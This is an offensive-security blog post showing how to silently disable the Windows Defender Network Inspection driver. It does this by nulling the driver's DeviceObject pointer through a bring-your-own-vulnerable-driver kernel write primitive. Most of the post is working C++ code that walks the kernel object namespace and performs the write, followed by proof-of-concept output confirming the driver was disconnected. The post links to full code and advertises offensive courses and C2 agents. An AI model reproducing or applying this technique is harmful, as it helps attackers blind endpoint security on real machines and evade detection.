>_0x12Dark
←back to posts
malwarehackingpentestinginfoseccybersecurity

DeviceObject Nulling: Driver DoS Without BSOD via BYOVD

Welcome to this new Medium post. In this one we will see how to perform a silent DoS against a kernel driver by nulling its DeviceObject pointer using a BYOVD kernel read/write primitive.We target…

DeviceObject Nulling: Driver DoS Without BSOD via BYOVD

Welcome to this new Medium post. In this one we will see how to perform a silent DoS against a kernel driver by nulling its DeviceObject pointer using a BYOVD kernel read/write primitive.

We target WdNisDrv (the Windows Defender Network Inspection driver) and disconnect it from its device stack entirely

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

Every driver in Windows is represented by a _DRIVER_OBJECT structure in kernel memory. One of its fields is DeviceObject, a pointer to the first _DEVICE_OBJECT in the driver's device stack

https://www.vergiliusproject.com/kernels/x64/windows-11/25h2/_DRIVER_OBJECT

//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};

When an IRP needs to reach a driver, the kernel navigates through its device stack. That navigation starts from DeviceObject. If the pointer is null, the kernel fails the operation with STATUS_NO_SUCH_DEVICE before any driver code runs and it does this check safely, so there is no BSOD

This is our primitive: one null write disconnects the driver from all I/O

Methodology

  • Resolve kernel offsets from PDB
  • Get ntoskrnl.exe base address
  • Walk the object namespace to find the target _DRIVER_OBJECT
  • Null the DeviceObject pointer

Implementation

Locating the _DRIVER_OBJECT

We walk the kernel object namespace using our read primitive. Starting from ObpRootDirectoryObject, we scan the bucket hash table of _OBJECT_DIRECTORY, find the entry named Driver, and then search that subdirectory for \Driver\WdNisDrv by comparing DriverName

ULONG64 driverObj = FindDriverObject(drv, ntoskrnlBase, L"\\Driver\\WdNisDrv");
if (driverObj) {
printf("[+] _DRIVER_OBJECT: 0x%llX\n", driverObj);
}

ULONG64 FindDriverObject(HANDLE drv, ULONG64 ntoskrnlBase, const wstring& targetName) {
ULONG64 rootDirPtr = ntoskrnlBase + g_offsets.ObpRootDirectoryObject;

ULONG64 rootDir = 0;
if (!ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)rootDirPtr, sizeof(ULONG64))) {
printf("[-] Failed to read ObpRootDirectoryObject\n");
return 0;
}

printf("[*] ObpRootDirectoryObject: 0x%llX\n", rootDir);

int totalEntries = 0;
int namedEntries = 0;

for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 bucketAddr = rootDir + i * sizeof(ULONG64);
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)bucketAddr, sizeof(ULONG64))) {
continue;
}

printf("[*] Bucket %d: entry=0x%llX\n", i, entry);

while (entry && IsKernelAddress(entry)) {
totalEntries++;

ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));

printf(" entry=0x%llX object=0x%llX\n", entry, object);

if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;

UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));

printf(" header=0x%llX infoMask=0x%02X\n", header, infoMask);

if (infoMask & 0x02) {
namedEntries++;
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
ULONG64 nameInfo = header - nameInfoOffset;

printf(" nameInfoOffset=0x%llX nameInfo=0x%llX\n", nameInfoOffset, nameInfo);

if (IsKernelAddress(nameInfo)) {
wstring objName;
if (KReadUnicodeString(drv, nameInfo + g_offsets.OHNI_Name, objName)) {
printf(" name: %ls\n", objName.c_str());
if (objName == L"Driver") {
printf("[*] Found \\Driver\\ directory at 0x%llX\n", object);
return SearchDriverInDirectory(drv, object, targetName);
}
}
else {
printf(" KReadUnicodeString failed\n");
}
}
}
}

ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}

printf("[-] \\Driver\\ not found. totalEntries=%d namedEntries=%d\n", totalEntries, namedEntries);
return 0;
}

FindDriverObject traverses _OBJECT_DIRECTORY_ENTRY, reads _OBJECT_HEADER to check InfoMask for the name info bit (0x02), computes the _OBJECT_HEADER_NAME_INFO offset, and reads DriverName as a from kernel memory

Nulling DeviceObject

With the _DRIVER_OBJECT address known, we compute the address of its DeviceObject field and overwrite it with zero:

ULONG64 deviceObjectFieldAddr = driverObj + g_offsets.DO_DeviceObject;
ULONG64 nullVal = 0;
if (!WritePrimitive(drv, (LPVOID)(uintptr_t)deviceObjectFieldAddr, &nullVal, sizeof(ULONG64))) {
printf("[-] Failed to null DeviceObject\n");
return 1;
}
printf("[+] DeviceObject nulled at 0x%llX\n", deviceObjectFieldAddr);

Full Code

GitHub - S12cybersecurity/nulling-driver-deviceobject: Nulling DeviceObject field of the _DRIVER_OBJECT to DOS drivers without BSOD

Proof of Concept

Bucket 35: entry=0xFFFF820DE2573790
entry=0xFFFF820DE2573790 object=0xFFFF920BA56FB3D0
header=0xFFFF920BA56FB3A0 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920BA56FB380
name: CLDMSGPORT
entry=0xFFFF820DDD48B670 object=0xFFFF920B9EDFE6B0
header=0xFFFF920B9EDFE680 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920B9EDFE660
name: MicrosoftMalwareProtectionPortWD
entry=0xFFFF820DDD2D5BB0 object=0xFFFF820DDD2BDC20
header=0xFFFF820DDD2BDBF0 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF820DDD2BDBD0
name: OSDataRoot
[*] Bucket 36: entry=0xFFFF820DDD48E250
entry=0xFFFF820DDD48E250 object=0xFFFF920B9E1F5560
header=0xFFFF920B9E1F5530 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF920B9E1F5510
name: SAM_SERVICE_STARTED
entry=0xFFFF820DDD486720 object=0xFFFF820DDD37B270
header=0xFFFF820DDD37B240 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF820DDD37B220
name: Driver
[*] Found \Driver\ directory at 0xFFFF820DDD37B270
driver: \Driver\fvevol
driver: \Driver\vdrvroot
driver: \Driver\PptpMiniport
driver: \Driver\NetBT
driver: \Driver\acpiex
driver: \Driver\Wdf01000
driver: \Driver\WdNisDrv
[+] Found _DRIVER_OBJECT at 0xFFFF920BA8615E20 (\Driver\WdNisDrv)
[+] _DRIVER_OBJECT: 0xFFFF920BA8615E20
Write primitive sent successfully. Bytes returned: 0
[+] DeviceObject nulled at 0xFFFF920BA8615E28

Conclusions

DeviceObject Nulling is a minimal, stable DoS primitive against any kernel driver. One write disconnects the driver from its entire device stack without touching its code or triggering a BSOD

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.

DeviceObject Nulling: Driver DoS Without BSOD via BYOVD